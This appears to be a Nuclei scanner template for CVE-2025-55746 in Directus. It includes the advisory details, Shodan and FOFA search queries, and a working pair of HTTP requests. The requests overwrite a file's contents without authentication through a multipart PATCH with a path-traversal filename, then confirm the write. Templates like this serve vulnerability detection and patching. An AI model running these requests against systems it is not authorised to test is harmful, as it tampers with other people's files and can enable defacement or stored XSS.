Directus - Unauthenticated File Modification

id: CVE-2025-55746

info:
  name: Directus - Unauthenticated File Modification
  author: aleff-github
  severity: critical
  description: |
    Directus versions from 10.8.0 before 11.9.3 allow unauthenticated attackers to modify the contents of an existing file when a valid file UUID is known. The PATCH /files/{id} endpoint processes multipart file uploads without proper authentication, allowing file content replacement despite returning a 403 status code. This template requires a known, controlled Directus file UUID provided via the file_id variable.
  impact: |
    An unauthenticated attacker with knowledge of a valid file UUID can replace the contents of an existing Directus file, potentially leading to defacement, data tampering, or stored XSS if the file is served to other users.
  remediation: |
    Upgrade Directus to version 11.9.3 or later.
  reference:
    - https://github.com/advisories/GHSA-mv33-9f6j-pfmc
    - https://github.com/directus/directus/commit/d84dcc36f75fc5c858d43746b8f9c426c38d696b
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55746
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L
    cvss-score: 9.3
    cve-id: CVE-2025-55746
    epss-score: 0.01307
    epss-percentile: 0.6793
    cwe-id: CWE-73
    cpe: cpe:2.3:a:monospace:directus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: monospace
    product: directus
    shodan-query: 'X-Powered-By: Directus'
    fofa-query: 'header="X-Powered-By: Directus"'
  tags: cve,cve2025,directus,file-upload,intrusive,vuln

variables:
  marker: "{{rand_text_alpha(32)}}"
  cachebust: "{{rand_text_alphanumeric(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        PATCH /files/{{file_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----CVE-2025-55746

        ------CVE-2025-55746
        Content-Disposition: form-data; name="filename_disk"

        ../../{{file_id}}.txt
        ------CVE-2025-55746
        Content-Disposition: form-data; name="filename_download"

        {{file_id}}.txt
        ------CVE-2025-55746
        Content-Disposition: form-data; name="file"; filename="{{file_id}}.txt"
        Content-Type: text/plain

        {{marker}}
        ------CVE-2025-55746--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(header, "X-Powered-By: Directus")'
        condition: and
        internal: true

  - raw:
      - |
        GET /assets/{{file_id}}?download=1&cachebuster={{cachebust}} HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: no-cache

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{marker}}'

      - type: word
        part: header
        words:
          - 'X-Powered-By: Directus'

      - type: status
        status:
          - 200
# digest: 490a0046304402201e54241b5bb7fa18247b5214a41479a2b773ab364c19b347ded45f23f2c9101b02203cb40d07429a1f50020a54694cc487af42c9cd0c0c19c8c8a09417b26637ba58:922c64590222798bb761d5b6d8e72950